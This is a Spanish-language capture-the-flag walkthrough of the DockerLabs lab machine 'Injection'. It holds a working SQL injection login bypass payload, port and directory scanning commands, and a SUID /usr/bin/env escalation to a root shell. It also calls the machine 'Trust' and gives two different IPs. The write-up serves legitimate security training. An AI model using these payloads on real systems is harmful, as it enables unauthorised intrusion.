Ir al contenido

Injection

En este artículo explico cómo resolví el CTF de la máquina virtual Injection, creada por El Pingüino de Mario. Detallo paso a paso las técnicas y herramientas empleadas para identificar y explotar las vulnerabilidades presentes.

  • Nombre: Trust
  • Autor: El Pingüino de Mario
  • Nivel de dificultad: Fácil
  • Fecha de creación: 09/04/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo ZIP:

    Ventana de terminal
    unzip Injection.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Injection.tar

La máquina muestra su IP al ser desplegada, por lo que no fue necesario realizar un escaneo con arp.

IP asignada

Creamos un entorno de trabajo organizado con mkt, una función personalizada de terminal:

Ventana de terminal
mkdir Injection
cd Injection
mkt # Crea carpetas: content, exploits, nmap, scripts

En la carpeta nmap, iniciamos un escaneo de todos los puertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos del archivo generado:

Ventana de terminal
extractPorts allPorts

Puertos detectados

Escaneo más detallado del servicio en el puerto 80:

Ventana de terminal
nmap -sCV -p80 172.17.0.2 -oN targeted

Servicios detectados

Enumeramos directorios en el servicio HTTP:

Ventana de terminal
gobuster dir -u http://172.18.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200

Resultados de Gobuster

Se detecta la existencia de un archivo config.php, pero no es accesible directamente. En el index.php aparece un formulario de login:

Formulario de login

Intentamos una inyección SQL básica en el login usando:

  • Usuario: admin' or 1=1-- -
  • Contraseña: cualquier valor

Esto nos permite autenticarnos exitosamente y acceder a información sensible:

Credenciales obtenidas

Con esas credenciales accedemos a la máquina por SSH.

Primero intentamos:

Ventana de terminal
sudo -l

Pero el comando sudo no está instalado:

Error con sudo

Buscamos binarios con permisos SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

Esto nos muestra varias posibles vías de explotación:

SUID binarios

Usamos la herramienta searchbins para automatizar la búsqueda en GTFOBins:

Ventana de terminal
searchbins -b env -a

El binario /usr/bin/env tiene permisos de SUID. Ejecutamos:

Ventana de terminal
/usr/bin/env /bin/bash

Con esto, obtenemos acceso como root:

Acceso root

La máquina Trust ofreció un entorno ideal para practicar una inyección SQL básica y la escalada de privilegios usando binarios SUID. Su nivel de dificultad fue coherente con lo anunciado: muy fácil.